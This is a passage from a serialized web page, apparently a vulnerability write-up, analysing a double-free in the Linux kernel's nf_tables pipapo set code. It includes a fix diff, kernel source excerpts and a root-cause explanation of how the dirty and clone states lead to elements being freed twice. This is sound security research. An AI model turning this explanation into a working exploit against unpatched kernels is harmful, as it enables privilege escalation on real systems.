rcu_barrier();\n",{"type":23,"tag":134,"props":50345,"children":50346},{"class":136,"line":527},[50347],{"type":23,"tag":134,"props":50348,"children":50349},{"style":179},[50350],{"type":28,"value":50351}," \n",{"type":23,"tag":134,"props":50353,"children":50354},{"class":136,"line":780},[50355],{"type":23,"tag":134,"props":50356,"children":50357},{"style":1461},[50358],{"type":28,"value":50359},"-  nft_set_pipapo_match_destroy(ctx, set, m);\n",{"type":23,"tag":134,"props":50361,"children":50362},{"class":136,"line":797},[50363],{"type":23,"tag":134,"props":50364,"children":50365},{"style":1461},[50366],{"type":28,"value":50367},"-\n",{"type":23,"tag":134,"props":50369,"children":50370},{"class":136,"line":814},[50371],{"type":23,"tag":134,"props":50372,"children":50373},{"style":179},[50374],{"type":28,"value":50375},"   for_each_possible_cpu(cpu)\n",{"type":23,"tag":134,"props":50377,"children":50378},{"class":136,"line":827},[50379],{"type":23,"tag":134,"props":50380,"children":50381},{"style":179},[50382],{"type":28,"value":50383},"    pipapo_free_scratch(m, cpu);\n",{"type":23,"tag":134,"props":50385,"children":50386},{"class":136,"line":836},[50387],{"type":23,"tag":134,"props":50388,"children":50389},{"style":179},[50390],{"type":28,"value":50391},"   free_percpu(m->scratch);\n",{"type":23,"tag":134,"props":50393,"children":50394},{"class":136,"line":859},[50395],{"type":23,"tag":134,"props":50396,"children":50397},{"style":179},[50398],{"type":28,"value":50399},"@@ -2342,8 +2340,7 @@ static void nft_pipapo_destroy(const struct nft_ctx *ctx,\n",{"type":23,"tag":134,"props":50401,"children":50402},{"class":136,"line":868},[50403],{"type":23,"tag":134,"props":50404,"children":50405},{"style":179},[50406],{"type":28,"value":50407},"  if (priv->clone) {\n",{"type":23,"tag":134,"props":50409,"children":50410},{"class":136,"line":877},[50411],{"type":23,"tag":134,"props":50412,"children":50413},{"style":179},[50414],{"type":28,"value":50415},"   m = priv->clone;\n",{"type":23,"tag":134,"props":50417,"children":50418},{"class":136,"line":946},[50419],{"type":23,"tag":134,"props":50420,"children":50421},{"style":179},[50422],{"type":28,"value":50351},{"type":23,"tag":134,"props":50424,"children":50425},{"class":136,"line":954},[50426],{"type":23,"tag":134,"props":50427,"children":50428},{"style":1461},[50429],{"type":28,"value":50430},"-  if (priv->dirty)\n",{"type":23,"tag":134,"props":50432,"children":50433},{"class":136,"line":984},[50434],{"type":23,"tag":134,"props":50435,"children":50436},{"style":1461},[50437],{"type":28,"value":50438},"-   nft_set_pipapo_match_destroy(ctx, set, m);\n",{"type":23,"tag":134,"props":50440,"children":50441},{"class":136,"line":992},[50442],{"type":23,"tag":134,"props":50443,"children":50444},{"style":205},[50445],{"type":28,"value":50446},"+  nft_set_pipapo_match_destroy(ctx, set, m);\n",{"type":23,"tag":134,"props":50448,"children":50449},{"class":136,"line":1024},[50450],{"type":23,"tag":134,"props":50451,"children":50452},{"style":179},[50453],{"type":28,"value":50351},{"type":23,"tag":134,"props":50455,"children":50456},{"class":136,"line":1032},[50457],{"type":23,"tag":134,"props":50458,"children":50459},{"style":179},[50460],{"type":28,"value":50375},{"type":23,"tag":134,"props":50462,"children":50463},{"class":136,"line":1092},[50464],{"type":23,"tag":134,"props":50465,"children":50466},{"style":179},[50467],{"type":28,"value":50468},"    pipapo_free_scratch(priv->clone, cpu);\n",{"type":23,"tag":24,"props":50470,"children":50471},{},[50472,50474,50480,50481,50487,50489,50495,50497,50503,50505,50510,50512,50518,50520,50526,50528,50534],{"type":28,"value":50473},"If the ",{"type":23,"tag":92,"props":50475,"children":50477},{"className":50476},[],[50478],{"type":28,"value":50479},"priv->dirty",{"type":28,"value":10458},{"type":23,"tag":92,"props":50482,"children":50484},{"className":50483},[],[50485],{"type":28,"value":50486},"priv->clone",{"type":28,"value":50488}," variables are set, ",{"type":23,"tag":92,"props":50490,"children":50492},{"className":50491},[],[50493],{"type":28,"value":50494},"nft_set_pipapo_match_destroy()",{"type":28,"value":50496}," is called twice, once with ",{"type":23,"tag":92,"props":50498,"children":50500},{"className":50499},[],[50501],{"type":28,"value":50502},"priv->match",{"type":28,"value":50504}," as an argument, and then again with ",{"type":23,"tag":92,"props":50506,"children":50508},{"className":50507},[],[50509],{"type":28,"value":50486},{"type":28,"value":50511},". Looking at what this function does, we can see that it is iterating over the ",{"type":23,"tag":92,"props":50513,"children":50515},{"className":50514},[],[50516],{"type":28,"value":50517},"setelem",{"type":28,"value":50519},"s of the ",{"type":23,"tag":92,"props":50521,"children":50523},{"className":50522},[],[50524],{"type":28,"value":50525},"set",{"type":28,"value":50527}," and calling ",{"type":23,"tag":92,"props":50529,"children":50531},{"className":50530},[],[50532],{"type":28,"value":50533},"nf_tables_set_elem_destroy()",{"type":28,"value":50535}," for each of them.",{"type":23,"tag":87,"props":50537,"children":50539},{"className":15985,"code":50538,"language":315,"meta":7,"style":7},"static void nft_set_pipapo_match_destroy(const struct nft_ctx *ctx,\n      const struct nft_set *set,\n      struct nft_pipapo_match *m)\n{\n struct nft_pipapo_field *f;\n int i, r;\n\n for (i = 0, f = m->f; i \u003C m->field_count - 1; i++, f++)\n  ;\n\n for (r = 0; r \u003C f->rules; r++) {\n  struct nft_pipapo_elem *e;\n\n  if (r \u003C f->rules - 1 && f->mt[r + 1].e == f->mt[r].e)\n   continue;\n\n  e = f->mt[r].e;\n\n  nf_tables_set_elem_destroy(ctx, set, &e->priv);\n }\n}\n",[50540],{"type":23,"tag":92,"props":50541,"children":50542},{"__ignoreMap":7},[50543,50590,50618,50644,50651,50672,50685,50692,50789,50797,50804,50859,50880,50887,50990,51002,51009,51045,51052,51086,51093],{"type":23,"tag":134,"props":50544,"children":50545},{"class":136,"line":137},[50546,50551,50556,50561,50565,50569,50573,50578,50582,50586],{"type":23,"tag":134,"props":50547,"children":50548},{"style":151},[50549],{"type":28,"value":50550},"static",{"type":23,"tag":134,"props":50552,"children":50553},{"style":151},[50554],{"type":28,"value":50555}," void",{"type":23,"tag":134,"props":50557,"children":50558},{"style":264},[50559],{"type":28,"value":50560}," nft_set_pipapo_match_destroy",{"type":23,"tag":134,"props":50562,"children":50563},{"style":179},[50564],{"type":28,"value":272},{"type":23,"tag":134,"props":50566,"children":50567},{"style":151},[50568],{"type":28,"value":9119},{"type":23,"tag":134,"props":50570,"children":50571},{"style":151},[50572],{"type":28,"value":20629},{"type":23,"tag":134,"props":50574,"children":50575},{"style":179},[50576],{"type":28,"value":50577}," nft_ctx ",{"type":23,"tag":134,"props":50579,"children":50580},{"style":168},[50581],{"type":28,"value":1777},{"type":23,"tag":134,"props":50583,"children":50584},{"style":162},[50585],{"type":28,"value":19758},{"type":23,"tag":134,"props":50587,"children":50588},{"style":179},[50589],{"type":28,"value":687},{"type":23,"tag":134,"props":50591,"children":50592},{"class":136,"line":147},[50593,50597,50601,50606,50610,50614],{"type":23,"tag":134,"props":50594,"children":50595},{"style":151},[50596],{"type":28,"value":31042},{"type":23,"tag":134,"props":50598,"children":50599},{"style":151},[50600],{"type":28,"value":20629},{"type":23,"tag":134,"props":50602,"children":50603},{"style":179},[50604],{"type":28,"value":50605}," nft_set ",{"type":23,"tag":134,"props":50607,"children":50608},{"style":168},[50609],{"type":28,"value":1777},{"type":23,"tag":134,"props":50611,"children":50612},{"style":162},[50613],{"type":28,"value":50525},{"type":23,"tag":134,"props":50615,"children":50616},{"style":179},[50617],{"type":28,"value":687},{"type":23,"tag":134,"props":50619,"children":50620},{"class":136,"line":185},[50621,50626,50631,50635,50640],{"type":23,"tag":134,"props":50622,"children":50623},{"style":151},[50624],{"type":28,"value":50625},"      struct",{"type":23,"tag":134,"props":50627,"children":50628},{"style":179},[50629],{"type":28,"value":50630}," nft_pipapo_match ",{"type":23,"tag":134,"props":50632,"children":50633},{"style":168},[50634],{"type":28,"value":1777},{"type":23,"tag":134,"props":50636,"children":50637},{"style":162},[50638],{"type":28,"value":50639},"m",{"type":23,"tag":134,"props":50641,"children":50642},{"style":179},[50643],{"type":28,"value":329},{"type":23,"tag":134,"props":50645,"children":50646},{"class":136,"line":221},[50647],{"type":23,"tag":134,"props":50648,"children":50649},{"style":179},[50650],{"type":28,"value":10346},{"type":23,"tag":134,"props":50652,"children":50653},{"class":136,"line":332},[50654,50658,50663,50667],{"type":23,"tag":134,"props":50655,"children":50656},{"style":151},[50657],{"type":28,"value":20629},{"type":23,"tag":134,"props":50659,"children":50660},{"style":179},[50661],{"type":28,"value":50662}," nft_pipapo_field ",{"type":23,"tag":134,"props":50664,"children":50665},{"style":168},[50666],{"type":28,"value":1777},{"type":23,"tag":134,"props":50668,"children":50669},{"style":179},[50670],{"type":28,"value":50671},"f;\n",{"type":23,"tag":134,"props":50673,"children":50674},{"class":136,"line":438},[50675,50680],{"type":23,"tag":134,"props":50676,"children":50677},{"style":151},[50678],{"type":28,"value":50679}," int",{"type":23,"tag":134,"props":50681,"children":50682},{"style":179},[50683],{"type":28,"value":50684}," i, r;\n",{"type":23,"tag":134,"props":50686,"children":50687},{"class":136,"line":466},[50688],{"type":23,"tag":134,"props":50689,"children":50690},{"emptyLinePlaceholder":15},[50691],{"type":28,"value":865},{"type":23,"tag":134,"props":50693,"children":50694},{"class":136,"line":479},[50695,50700,50705,50709,50713,50718,50722,50727,50731,50735,50740,50744,50748,50752,50757,50762,50766,50771,50776,50781,50785],{"type":23,"tag":134,"props":50696,"children":50697},{"style":189},[50698],{"type":28,"value":50699}," for",{"type":23,"tag":134,"props":50701,"children":50702},{"style":179},[50703],{"type":28,"value":50704}," (i ",{"type":23,"tag":134,"props":50706,"children":50707},{"style":168},[50708],{"type":28,"value":257},{"type":23,"tag":134,"props":50710,"children":50711},{"style":205},[50712],{"type":28,"value":208},{"type":23,"tag":134,"props":50714,"children":50715},{"style":179},[50716],{"type":28,"value":50717},", f ",{"type":23,"tag":134,"props":50719,"children":50720},{"style":168},[50721],{"type":28,"value":257},{"type":23,"tag":134,"props":50723,"children":50724},{"style":162},[50725],{"type":28,"value":50726}," m",{"type":23,"tag":134,"props":50728,"children":50729},{"style":179},[50730],{"type":28,"value":13225},{"type":23,"tag":134,"props":50732,"children":50733},{"style":162},[50734],{"type":28,"value":32581},{"type":23,"tag":134,"props":50736,"children":50737},{"style":179},[50738],{"type":28,"value":50739},"; i ",{"type":23,"tag":134,"props":50741,"children":50742},{"style":168},[50743],{"type":28,"value":5262},{"type":23,"tag":134,"props":50745,"children":50746},{"style":162},[50747],{"type":28,"value":50726},{"type":23,"tag":134,"props":50749,"children":50750},{"style":179},[50751],{"type":28,"value":13225},{"type":23,"tag":134,"props":50753,"children":50754},{"style":162},[50755],{"type":28,"value":50756},"field_count",{"type":23,"tag":134,"props":50758,"children":50759},{"style":168},[50760],{"type":28,"value":50761}," -",{"type":23,"tag":134,"props":50763,"children":50764},{"style":205},[50765],{"type":28,"value":1729},{"type":23,"tag":134,"props":50767,"children":50768},{"style":179},[50769],{"type":28,"value":50770},"; i",{"type":23,"tag":134,"props":50772,"children":50773},{"style":168},[50774],{"type":28,"value":50775},"++",{"type":23,"tag":134,"props":50777,"children":50778},{"style":179},[50779],{"type":28,"value":50780},", f",{"type":23,"tag":134,"props":50782,"children":50783},{"style":168},[50784],{"type":28,"value":50775},{"type":23,"tag":134,"props":50786,"children":50787},{"style":179},[50788],{"type":28,"value":329},{"type":23,"tag":134,"props":50790,"children":50791},{"class":136,"line":497},[50792],{"type":23,"tag":134,"props":50793,"children":50794},{"style":179},[50795],{"type":28,"value":50796},"  ;\n",{"type":23,"tag":134,"props":50798,"children":50799},{"class":136,"line":518},[50800],{"type":23,"tag":134,"props":50801,"children":50802},{"emptyLinePlaceholder":15},[50803],{"type":28,"value":865},{"type":23,"tag":134,"props":50805,"children":50806},{"class":136,"line":527},[50807,50811,50816,50820,50824,50829,50833,50837,50841,50846,50851,50855],{"type":23,"tag":134,"props":50808,"children":50809},{"style":189},[50810],{"type":28,"value":50699},{"type":23,"tag":134,"props":50812,"children":50813},{"style":179},[50814],{"type":28,"value":50815}," (r ",{"type":23,"tag":134,"props":50817,"children":50818},{"style":168},[50819],{"type":28,"value":257},{"type":23,"tag":134,"props":50821,"children":50822},{"style":205},[50823],{"type":28,"value":208},{"type":23,"tag":134,"props":50825,"children":50826},{"style":179},[50827],{"type":28,"value":50828},"; r ",{"type":23,"tag":134,"props":50830,"children":50831},{"style":168},[50832],{"type":28,"value":5262},{"type":23,"tag":134,"props":50834,"children":50835},{"style":162},[50836],{"type":28,"value":32467},{"type":23,"tag":134,"props":50838,"children":50839},{"style":179},[50840],{"type":28,"value":13225},{"type":23,"tag":134,"props":50842,"children":50843},{"style":162},[50844],{"type":28,"value":50845},"rules",{"type":23,"tag":134,"props":50847,"children":50848},{"style":179},[50849],{"type":28,"value":50850},"; r",{"type":23,"tag":134,"props":50852,"children":50853},{"style":168},[50854],{"type":28,"value":50775},{"type":23,"tag":134,"props":50856,"children":50857},{"style":179},[50858],{"type":28,"value":14272},{"type":23,"tag":134,"props":50860,"children":50861},{"class":136,"line":780},[50862,50866,50871,50875],{"type":23,"tag":134,"props":50863,"children":50864},{"style":151},[50865],{"type":28,"value":5252},{"type":23,"tag":134,"props":50867,"children":50868},{"style":179},[50869],{"type":28,"value":50870}," nft_pipapo_elem ",{"type":23,"tag":134,"props":50872,"children":50873},{"style":168},[50874],{"type":28,"value":1777},{"type":23,"tag":134,"props":50876,"children":50877},{"style":179},[50878],{"type":28,"value":50879},"e;\n",{"type":23,"tag":134,"props":50881,"children":50882},{"class":136,"line":797},[50883],{"type":23,"tag":134,"props":50884,"children":50885},{"emptyLinePlaceholder":15},[50886],{"type":28,"value":865},{"type":23,"tag":134,"props":50888,"children":50889},{"class":136,"line":814},[50890,50894,50898,50902,50906,50910,50914,50918,50922,50926,50930,50934,50939,50944,50948,50952,50956,50961,50965,50969,50973,50977,50982,50986],{"type":23,"tag":134,"props":50891,"children":50892},{"style":189},[50893],{"type":28,"value":30889},{"type":23,"tag":134,"props":50895,"children":50896},{"style":179},[50897],{"type":28,"value":50815},{"type":23,"tag":134,"props":50899,"children":50900},{"style":168},[50901],{"type":28,"value":5262},{"type":23,"tag":134,"props":50903,"children":50904},{"style":162},[50905],{"type":28,"value":32467},{"type":23,"tag":134,"props":50907,"children":50908},{"style":179},[50909],{"type":28,"value":13225},{"type":23,"tag":134,"props":50911,"children":50912},{"style":162},[50913],{"type":28,"value":50845},{"type":23,"tag":134,"props":50915,"children":50916},{"style":168},[50917],{"type":28,"value":50761},{"type":23,"tag":134,"props":50919,"children":50920},{"style":205},[50921],{"type":28,"value":1729},{"type":23,"tag":134,"props":50923,"children":50924},{"style":168},[50925],{"type":28,"value":13653},{"type":23,"tag":134,"props":50927,"children":50928},{"style":162},[50929],{"type":28,"value":32467},{"type":23,"tag":134,"props":50931,"children":50932},{"style":179},[50933],{"type":28,"value":13225},{"type":23,"tag":134,"props":50935,"children":50936},{"style":162},[50937],{"type":28,"value":50938},"mt",{"type":23,"tag":134,"props":50940,"children":50941},{"style":179},[50942],{"type":28,"value":50943},"[r ",{"type":23,"tag":134,"props":50945,"children":50946},{"style":168},[50947],{"type":28,"value":1586},{"type":23,"tag":134,"props":50949,"children":50950},{"style":205},[50951],{"type":28,"value":1729},{"type":23,"tag":134,"props":50953,"children":50954},{"style":179},[50955],{"type":28,"value":49854},{"type":23,"tag":134,"props":50957,"children":50958},{"style":162},[50959],{"type":28,"value":50960},"e",{"type":23,"tag":134,"props":50962,"children":50963},{"style":168},[50964],{"type":28,"value":454},{"type":23,"tag":134,"props":50966,"children":50967},{"style":162},[50968],{"type":28,"value":32467},{"type":23,"tag":134,"props":50970,"children":50971},{"style":179},[50972],{"type":28,"value":13225},{"type":23,"tag":134,"props":50974,"children":50975},{"style":162},[50976],{"type":28,"value":50938},{"type":23,"tag":134,"props":50978,"children":50979},{"style":179},[50980],{"type":28,"value":50981},"[r].",{"type":23,"tag":134,"props":50983,"children":50984},{"style":162},[50985],{"type":28,"value":50960},{"type":23,"tag":134,"props":50987,"children":50988},{"style":179},[50989],{"type":28,"value":329},{"type":23,"tag":134,"props":50991,"children":50992},{"class":136,"line":827},[50993,50998],{"type":23,"tag":134,"props":50994,"children":50995},{"style":189},[50996],{"type":28,"value":50997},"   continue",{"type":23,"tag":134,"props":50999,"children":51000},{"style":179},[51001],{"type":28,"value":182},{"type":23,"tag":134,"props":51003,"children":51004},{"class":136,"line":836},[51005],{"type":23,"tag":134,"props":51006,"children":51007},{"emptyLinePlaceholder":15},[51008],{"type":28,"value":865},{"type":23,"tag":134,"props":51010,"children":51011},{"class":136,"line":859},[51012,51017,51021,51025,51029,51033,51037,51041],{"type":23,"tag":134,"props":51013,"children":51014},{"style":179},[51015],{"type":28,"value":51016},"  e ",{"type":23,"tag":134,"props":51018,"children":51019},{"style":168},[51020],{"type":28,"value":257},{"type":23,"tag":134,"props":51022,"children":51023},{"style":162},[51024],{"type":28,"value":32467},{"type":23,"tag":134,"props":51026,"children":51027},{"style":179},[51028],{"type":28,"value":13225},{"type":23,"tag":134,"props":51030,"children":51031},{"style":162},[51032],{"type":28,"value":50938},{"type":23,"tag":134,"props":51034,"children":51035},{"style":179},[51036],{"type":28,"value":50981},{"type":23,"tag":134,"props":51038,"children":51039},{"style":162},[51040],{"type":28,"value":50960},{"type":23,"tag":134,"props":51042,"children":51043},{"style":179},[51044],{"type":28,"value":182},{"type":23,"tag":134,"props":51046,"children":51047},{"class":136,"line":868},[51048],{"type":23,"tag":134,"props":51049,"children":51050},{"emptyLinePlaceholder":15},[51051],{"type":28,"value":865},{"type":23,"tag":134,"props":51053,"children":51054},{"class":136,"line":877},[51055,51060,51065,51069,51073,51077,51082],{"type":23,"tag":134,"props":51056,"children":51057},{"style":264},[51058],{"type":28,"value":51059},"  nf_tables_set_elem_destroy",{"type":23,"tag":134,"props":51061,"children":51062},{"style":179},[51063],{"type":28,"value":51064},"(ctx, set, ",{"type":23,"tag":134,"props":51066,"children":51067},{"style":168},[51068],{"type":28,"value":277},{"type":23,"tag":134,"props":51070,"children":51071},{"style":162},[51072],{"type":28,"value":50960},{"type":23,"tag":134,"props":51074,"children":51075},{"style":179},[51076],{"type":28,"value":13225},{"type":23,"tag":134,"props":51078,"children":51079},{"style":162},[51080],{"type":28,"value":51081},"priv",{"type":23,"tag":134,"props":51083,"children":51084},{"style":179},[51085],{"type":28,"value":1021},{"type":23,"tag":134,"props":51087,"children":51088},{"class":136,"line":946},[51089],{"type":23,"tag":134,"props":51090,"children":51091},{"style":179},[51092],{"type":28,"value":9059},{"type":23,"tag":134,"props":51094,"children":51095},{"class":136,"line":954},[51096],{"type":23,"tag":134,"props":51097,"children":51098},{"style":179},[51099],{"type":28,"value":1098},{"type":23,"tag":24,"props":51101,"children":51102},{},[51103,51105,51111,51113,51118],{"type":28,"value":51104},"Which will then ",{"type":23,"tag":92,"props":51106,"children":51108},{"className":51107},[],[51109],{"type":28,"value":51110},"kfree()",{"type":28,"value":51112}," the ",{"type":23,"tag":92,"props":51114,"children":51116},{"className":51115},[],[51117],{"type":28,"value":50517},{"type":28,"value":720},{"type":23,"tag":87,"props":51120,"children":51122},{"className":15985,"code":51121,"language":315,"meta":7,"style":7},"void nf_tables_set_elem_destroy(const struct nft_ctx *ctx,\n    const struct nft_set *set,\n    const struct nft_elem_priv *elem_priv)\n{\n struct nft_set_ext *ext = nft_set_elem_ext(set, elem_priv);\n\n if (nft_set_ext_exists(ext, NFT_SET_EXT_EXPRESSIONS))\n  nft_set_elem_expr_destroy(ctx, nft_set_ext_expr(ext));\n\n kfree(elem_priv);\n}\n",[51123],{"type":23,"tag":92,"props":51124,"children":51125},{"__ignoreMap":7},[51126,51167,51195,51224,51231,51266,51273,51294,51317,51324,51337],{"type":23,"tag":134,"props":51127,"children":51128},{"class":136,"line":137},[51129,51134,51139,51143,51147,51151,51155,51159,51163],{"type":23,"tag":134,"props":51130,"children":51131},{"style":151},[51132],{"type":28,"value":51133},"void",{"type":23,"tag":134,"props":51135,"children":51136},{"style":264},[51137],{"type":28,"value":51138}," nf_tables_set_elem_destroy",{"type":23,"tag":134,"props":51140,"children":51141},{"style":179},[51142],{"type":28,"value":272},{"type":23,"tag":134,"props":51144,"children":51145},{"style":151},[51146],{"type":28,"value":9119},{"type":23,"tag":134,"props":51148,"children":51149},{"style":151},[51150],{"type":28,"value":20629},{"type":23,"tag":134,"props":51152,"children":51153},{"style":179},[51154],{"type":28,"value":50577},{"type":23,"tag":134,"props":51156,"children":51157},{"style":168},[51158],{"type":28,"value":1777},{"type":23,"tag":134,"props":51160,"children":51161},{"style":162},[51162],{"type":28,"value":19758},{"type":23,"tag":134,"props":51164,"children":51165},{"style":179},[51166],{"type":28,"value":687},{"type":23,"tag":134,"props":51168,"children":51169},{"class":136,"line":147},[51170,51175,51179,51183,51187,51191],{"type":23,"tag":134,"props":51171,"children":51172},{"style":151},[51173],{"type":28,"value":51174},"    const",{"type":23,"tag":134,"props":51176,"children":51177},{"style":151},[51178],{"type":28,"value":20629},{"type":23,"tag":134,"props":51180,"children":51181},{"style":179},[51182],{"type":28,"value":50605},{"type":23,"tag":134,"props":51184,"children":51185},{"style":168},[51186],{"type":28,"value":1777},{"type":23,"tag":134,"props":51188,"children":51189},{"style":162},[51190],{"type":28,"value":50525},{"type":23,"tag":134,"props":51192,"children":51193},{"style":179},[51194],{"type":28,"value":687},{"type":23,"tag":134,"props":51196,"children":51197},{"class":136,"line":185},[51198,51202,51206,51211,51215,51220],{"type":23,"tag":134,"props":51199,"children":51200},{"style":151},[51201],{"type":28,"value":51174},{"type":23,"tag":134,"props":51203,"children":51204},{"style":151},[51205],{"type":28,"value":20629},{"type":23,"tag":134,"props":51207,"children":51208},{"style":179},[51209],{"type":28,"value":51210}," nft_elem_priv ",{"type":23,"tag":134,"props":51212,"children":51213},{"style":168},[51214],{"type":28,"value":1777},{"type":23,"tag":134,"props":51216,"children":51217},{"style":162},[51218],{"type":28,"value":51219},"elem_priv",{"type":23,"tag":134,"props":51221,"children":51222},{"style":179},[51223],{"type":28,"value":329},{"type":23,"tag":134,"props":51225,"children":51226},{"class":136,"line":221},[51227],{"type":23,"tag":134,"props":51228,"children":51229},{"style":179},[51230],{"type":28,"value":10346},{"type":23,"tag":134,"props":51232,"children":51233},{"class":136,"line":332},[51234,51238,51243,51247,51252,51256,51261],{"type":23,"tag":134,"props":51235,"children":51236},{"style":151},[51237],{"type":28,"value":20629},{"type":23,"tag":134,"props":51239,"children":51240},{"style":179},[51241],{"type":28,"value":51242}," nft_set_ext ",{"type":23,"tag":134,"props":51244,"children":51245},{"style":168},[51246],{"type":28,"value":1777},{"type":23,"tag":134,"props":51248,"children":51249},{"style":179},[51250],{"type":28,"value":51251},"ext ",{"type":23,"tag":134,"props":51253,"children":51254},{"style":168},[51255],{"type":28,"value":257},{"type":23,"tag":134,"props":51257,"children":51258},{"style":264},[51259],{"type":28,"value":51260}," nft_set_elem_ext",{"type":23,"tag":134,"props":51262,"children":51263},{"style":179},[51264],{"type":28,"value":51265},"(set, elem_priv);\n",{"type":23,"tag":134,"props":51267,"children":51268},{"class":136,"line":438},[51269],{"type":23,"tag":134,"props":51270,"children":51271},{"emptyLinePlaceholder":15},[51272],{"type":28,"value":865},{"type":23,"tag":134,"props":51274,"children":51275},{"class":136,"line":466},[51276,51280,51284,51289],{"type":23,"tag":134,"props":51277,"children":51278},{"style":189},[51279],{"type":28,"value":15258},{"type":23,"tag":134,"props":51281,"children":51282},{"style":179},[51283],{"type":28,"value":232},{"type":23,"tag":134,"props":51285,"children":51286},{"style":264},[51287],{"type":28,"value":51288},"nft_set_ext_exists",{"type":23,"tag":134,"props":51290,"children":51291},{"style":179},[51292],{"type":28,"value":51293},"(ext, NFT_SET_EXT_EXPRESSIONS))\n",{"type":23,"tag":134,"props":51295,"children":51296},{"class":136,"line":479},[51297,51302,51307,51312],{"type":23,"tag":134,"props":51298,"children":51299},{"style":264},[51300],{"type":28,"value":51301},"  nft_set_elem_expr_destroy",{"type":23,"tag":134,"props":51303,"children":51304},{"style":179},[51305],{"type":28,"value":51306},"(ctx, ",{"type":23,"tag":134,"props":51308,"children":51309},{"style":264},[51310],{"type":28,"value":51311},"nft_set_ext_expr",{"type":23,"tag":134,"props":51313,"children":51314},{"style":179},[51315],{"type":28,"value":51316},"(ext));\n",{"type":23,"tag":134,"props":51318,"children":51319},{"class":136,"line":497},[51320],{"type":23,"tag":134,"props":51321,"children":51322},{"emptyLinePlaceholder":15},[51323],{"type":28,"value":865},{"type":23,"tag":134,"props":51325,"children":51326},{"class":136,"line":518},[51327,51332],{"type":23,"tag":134,"props":51328,"children":51329},{"style":264},[51330],{"type":28,"value":51331}," kfree",{"type":23,"tag":134,"props":51333,"children":51334},{"style":179},[51335],{"type":28,"value":51336},"(elem_priv);\n",{"type":23,"tag":134,"props":51338,"children":51339},{"class":136,"line":527},[51340],{"type":23,"tag":134,"props":51341,"children":51342},{"style":179},[51343],{"type":28,"value":1098},{"type":23,"tag":24,"props":51345,"children":51346},{},[51347,51348,51354,51356,51361,51363,51368,51370,51375,51376,51381,51383,51388,51390,51395,51397,51402],{"type":28,"value":16084},{"type":23,"tag":92,"props":51349,"children":51351},{"className":51350},[],[51352],{"type":28,"value":51353},"nft_pipapo_match",{"type":28,"value":51355}," objects contain views of the ",{"type":23,"tag":92,"props":51357,"children":51359},{"className":51358},[],[51360],{"type":28,"value":50517},{"type":28,"value":51362},"'s of a ",{"type":23,"tag":92,"props":51364,"children":51366},{"className":51365},[],[51367],{"type":28,"value":50525},{"type":28,"value":51369},". The difference between the ",{"type":23,"tag":92,"props":51371,"children":51373},{"className":51372},[],[51374],{"type":28,"value":50502},{"type":28,"value":10458},{"type":23,"tag":92,"props":51377,"children":51379},{"className":51378},[],[51380],{"type":28,"value":50486},{"type":28,"value":51382}," match objects is that the clone has a view of not only already committed ",{"type":23,"tag":92,"props":51384,"children":51386},{"className":51385},[],[51387],{"type":28,"value":50517},{"type":28,"value":51389},"'s that the \"normal\" one has but also a view of the ",{"type":23,"tag":92,"props":51391,"children":51393},{"className":51392},[],[51394],{"type":28,"value":50517},{"type":28,"value":51396},"'s that was still not committed that only exists in the current control-plane. In other words, the control plane makes changes to the clone, and if the commit path is reached, the changes are committed to ",{"type":23,"tag":92,"props":51398,"children":51400},{"className":51399},[],[51401],{"type":28,"value":50502},{"type":28,"value":720},{"type":23,"tag":9072,"props":51404,"children":51406},{"id":51405},"root-cause-analysis",[51407],{"type":28,"value":51408},"Root-cause analysis",{"type":23,"tag":24,"props":51410,"children":51411},{},[51412,51414,51420,51422,51427],{"type":28,"value":51413},"So ",{"type":23,"tag":92,"props":51415,"children":51417},{"className":51416},[],[51418],{"type":28,"value":51419},"nf_tables_set_elem_destroy",{"type":28,"value":51421}," being called for both match objects seems like a pretty straightforward double-free of the ",{"type":23,"tag":92,"props":51423,"children":51425},{"className":51424},[],[51426],{"type":28,"value":50517},{"type":28,"value":51428},"s that had already been committed since those will have duplicated views. At first glance, this is some bizarre-looking code. How did this bug come to be? How was it not detected before? Let's try to get to the bottom of it.",{"type":23,"tag":24,"props":51430,"children":51431},{},[51432,51434,51439,51441,51446,51448,51453,51455,51460,51462,51467],{"type":28,"value":51433},"We should now try to understand how to reach that path with the ",{"type":23,"tag":92,"props":51435,"children":51437},{"className":51436},[],[51438],{"type":28,"value":50479},{"type":28,"value":51440}," flag set, which is a member of the private data of a pipapo ",{"type":23,"tag":92,"props":51442,"children":51444},{"className":51443},[],[51445],{"type":28,"value":50517},{"type":28,"value":51447}," that becomes true whenever a change is made to the ",{"type":23,"tag":92,"props":51449,"children":51451},{"className":51450},[],[51452],{"type":28,"value":50525},{"type":28,"value":51454}," during the control-plane pass of a transaction. This is to tell the commit path that this ",{"type":23,"tag":92,"props":51456,"children":51458},{"className":51457},[],[51459],{"type":28,"value":50525},{"type":28,"value":51461}," has changes that have to be committed. If we refer to the code, we see that we can make the ",{"type":23,"tag":92,"props":51463,"children":51465},{"className":51464},[],[51466],{"type":28,"value":50525},{"type":28,"value":51468}," dirty by inserting a new element.",{"type":23,"tag":87,"props":51470,"children":51472},{"className":15985,"code":51471,"language":315,"meta":7,"style":7},"static int nft_pipapo_insert(const struct net *net, const struct nft_set *set,\n        const struct nft_set_elem *elem,\n        struct nft_elem_priv **elem_priv)\n{\n[...]\n priv->dirty = true;\n[...]\n}\n",[51473],{"type":23,"tag":92,"props":51474,"children":51475},{"__ignoreMap":7},[51476,51546,51575,51600,51607,51614,51643,51650],{"type":23,"tag":134,"props":51477,"children":51478},{"class":136,"line":137},[51479,51483,51487,51492,51496,51500,51504,51509,51513,51518,51522,51526,51530,51534,51538,51542],{"type":23,"tag":134,"props":51480,"children":51481},{"style":151},[51482],{"type":28,"value":50550},{"type":23,"tag":134,"props":51484,"children":51485},{"style":151},[51486],{"type":28,"value":50679},{"type":23,"tag":134,"props":51488,"children":51489},{"style":264},[51490],{"type":28,"value":51491}," nft_pipapo_insert",{"type":23,"tag":134,"props":51493,"children":51494},{"style":179},[51495],{"type":28,"value":272},{"type":23,"tag":134,"props":51497,"children":51498},{"style":151},[51499],{"type":28,"value":9119},{"type":23,"tag":134,"props":51501,"children":51502},{"style":151},[51503],{"type":28,"value":20629},{"type":23,"tag":134,"props":51505,"children":51506},{"style":179},[51507],{"type":28,"value":51508}," net 